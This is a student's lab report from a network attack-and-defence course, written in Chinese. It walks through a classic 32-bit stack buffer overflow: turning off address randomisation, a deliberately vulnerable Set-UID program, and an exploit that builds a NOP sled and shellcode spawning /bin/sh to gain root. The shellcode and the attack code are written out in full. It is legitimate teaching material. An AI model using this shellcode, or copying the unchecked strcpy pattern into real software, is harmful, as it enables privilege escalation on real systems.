20169201 2016-2017-2 《網絡攻防實踐》實驗三 緩衝區溢出實驗

實驗報告

實驗簡介

緩衝區溢出是指程序試圖向緩衝區寫入超出預分配固定長度數據的狀況。這一漏洞能夠被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片斷。這一漏洞的出現是因爲數據緩衝器和返回地址的暫時關閉,溢出會引發返回地址被重寫。
操做系統所使用的緩衝區,又被稱爲「堆棧」,在各個操做進程之間,指令會被臨時儲存在「堆棧」當中,「堆棧」也會出現緩衝區溢出。linux

實驗準備

本次實驗爲了方便觀察彙編語句,咱們須要在32位Ubuntu linux環境下做操做。須要配置好操做的環境.
1.輸入命令安裝一些用於編譯32位C程序的東西:shell

-sudo apt-get update
-sudo apt-get install lib32z1 libc6-dev-i386
-sudo apt-get install lib32readline-gplv2-dev

2.輸入命令「linux32」進入32位linux環境。
輸入/bin/bash」使用bash:
sass

實驗步驟

1.咱們使用如下命令關閉使用地址空間隨機化來隨機堆(heap)和棧(stack)這一功能:
-sudo sysctl -w kernel.randomize_va_space=0
此外,爲了進一步防範緩衝區溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。所以,即便你能欺騙一個Set-UID程序調用一個shell,也不能在這個shell中保持root權限,這個防禦措施在/bin/bash中實現。
設置zsh程序:
bash

2 .shellcode
通常狀況下,緩衝區溢出會形成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而若是覆蓋返回地址的數據是另外一個地址,那麼程序就會跳轉到該地址,若是該地址存放的是一段精心設計的代碼用於實現其餘功能,這段代碼就是shellcode。服務器

Shellcode實際是一段代碼(也能夠是填充數據),是用來發送到服務器利用特定漏洞的代碼,通常能夠獲取權限。另外,Shellcode通常是做爲數據發送給受攻擊服務器的。 Shellcode是溢出程序和蠕蟲病毒的核心,提到它天然就會和漏洞聯想在一塊兒,畢竟Shellcode只對沒有打補丁的主機有用武之地。網絡上數以萬計帶着漏洞頑強運行着的服務器給hacker和Vxer豐盛的晚餐。漏洞利用中最關鍵的是Shellcode的編寫。因爲漏洞發現者在漏洞發現之初並不會給出完整Shellcode,所以掌握Shellcode編寫技術就顯得尤其重要。
#include <stdio.h> int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); }網絡

3.漏洞程序
把如下代碼保存爲「stack.c」文件,保存到 /tmp 目錄下。代碼以下:app

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

經過代碼能夠知道,程序會讀取一個名爲「badfile」的文件,並將文件內容裝入「buffer」。
編譯該程序,並設置SET-UID。命令以下:

-fno-stack-protector 關閉棧保護機制機制。
-z execstack 用於容許執行棧。dom

4.攻擊程序
咱們的目的是攻擊剛纔的漏洞程序,並經過攻擊得到root權限。
把如下代碼保存爲「exploit.c」文件,保存到 /tmp 目錄下。代碼以下this

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代碼,「\x??\x??\x??\x??」處須要添上shellcode保存在內存中的地址,由於發生溢出後這個位置恰好能夠覆蓋返回地址。
而 strcpy(buffer+100,shellcode); 這一句又告訴咱們,shellcode保存在 buffer+100 的位置。
如今咱們要獲得shellcode在內存中的地址,輸入命令:
gdb stack disass main
獲得結果:

設置斷點:

Str地址:

根據語句 strcpy(buffer+100,shellcode);
咱們計算shellcode的地址爲 0xffffd020(十六進制)+100(十進制)=0xffffd084(十六進制)
編譯程序gcc -m32 -o exploit exploit.cspa

攻擊結果

先運行攻擊程序exploit,再運行漏洞程序stack,觀察結果

遇到的問題

出現段錯誤
重新計算gdb反彙編,計算內存地址,最後成功

相關文章
相關標籤/搜索